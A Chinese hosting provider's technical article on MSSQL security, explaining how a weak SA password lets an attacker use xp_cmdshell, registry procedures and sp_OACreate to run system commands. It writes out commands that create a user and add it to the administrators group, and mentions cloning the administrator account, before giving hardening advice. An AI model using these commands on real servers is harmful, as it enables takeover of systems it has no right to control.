中国网格虚拟主机不满意退款承诺!
24小时咨询热线:021-51095771  51087627
中国网格
快速建站 只选网格
域名+空间+数据库+维护 企业网站整体服务商
支付方式数 据 库优惠套餐
您当前的位置 
首页
快速建站
技术
MSSQL
正文

MSSQL系统安全之SA弱口令带来的安全隐患

发布时间:2012-10-26 16:56:40| www.cnwg.cn | 文章标签:MSSQL,系统安全

存储过程是存储在SQLServer中的预先写好的SQL语句集合,其中危险性Z高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是Microsoft SQLServer的管理员帐号,拥有Z高权限,它可以执行扩展存储过程,并获得返回值,比如执行:  

exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net  

localgroup administrators test /add'

这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。

MSSQL

现在你应该明白为什么得到SA密码,就可以得到系统的Z高权限了吧。而往往不少网络管理员不清楚这个情况,为自己的SA用户起了一些诸如1234,4321等简单的密码,甚至根本就不设置密码,这样网络入侵者就可以利用一些黑客工具很轻松的扫描到SA的密码,进而控制计算机。

除了xp_cmdshell,还有一些存储过程也有可能会被入侵者利用到:

1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名): 

DECLARE @test varchar(50) 

EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', 

@key='system\controlset001\control\computername\computername',  

@value_name='computername',  

@value=@test OUTPUT

SELECT @test

2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):

EXEC master..xp_regwrite 

@rootkey='HKEY_LOCAL_MACHINE', 

@key='SOFTWARE\aaa',  

@value_name='aaaValue',  

@type='REG_SZ', 

@value='bbb'

如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那使用 xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户,得到管理员权限。 xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患。 

3、OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate, sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,使用方法: 

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT  

EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 

1234 /add'--

这样对方系统增加了一个用户名为test,密码为1234的用户,再执行: 

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT  

EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup 

administrators test /add '--

用户test,被加入管理员组。

解决办法:给SA起个足够复杂的密码,使网络攻击者很难破解出来。为了保险,我们还要到在 SQLServer的查询分析器中使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需要时再使用 sp_addextendedproc恢复即可,具体操作可以在SQLServer中查询sp_dropextendedproc和 sp_addextendedproc的使用帮助,需要注意一点的是删除OLE相关系列的存储过程,可能会造成企业管理器中的某些功能无法使用,这里笔者不建议删除。

既然我们知道了SP_OACREATE的使用方法,那我们就可以到\WINNT \system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把可以对他们访问的用户全部删除掉,这样就无法使用SP_OACREATE来增加系统用户了,在我们需要访问这些文件的时候再加上访问用户就可以了。


数据库空间

数据库存储空间

价格:200元/100M

MySql,SQL可选择

参考资料

我要评价

评价发表成功

错误提示
关于网格 | 联系方式 | 网站地图 | 客户中心 | 网格招聘 | 代理合作 | 支付方式 | 帮助中心
中国网格所属上海羽灿计算机科技有限公司版权所有 Copyright©cnwg.cn 2003-2013,All Rights Reserved.

联系电话:021-51095771 021-51087627 传真:021-51087637-202
版权所有:上海羽灿计算机科技有限公司 中国网格(cnwg.cn/cnwg.cc)©2003-2013 All Rights Reserved.
地址:上海市银都路3399弄533号 邮编:201108 ICP经营许可证编号:沪B2-20060019 沪ICP备06012189号

  • 经营性网站
    备案信息
  • 网络110
    报警服务
  • 文明办网
    先进单位
  • 支付宝
    特约商家
  • 网络社区
    征信网
  • 上海工商
    网上亮照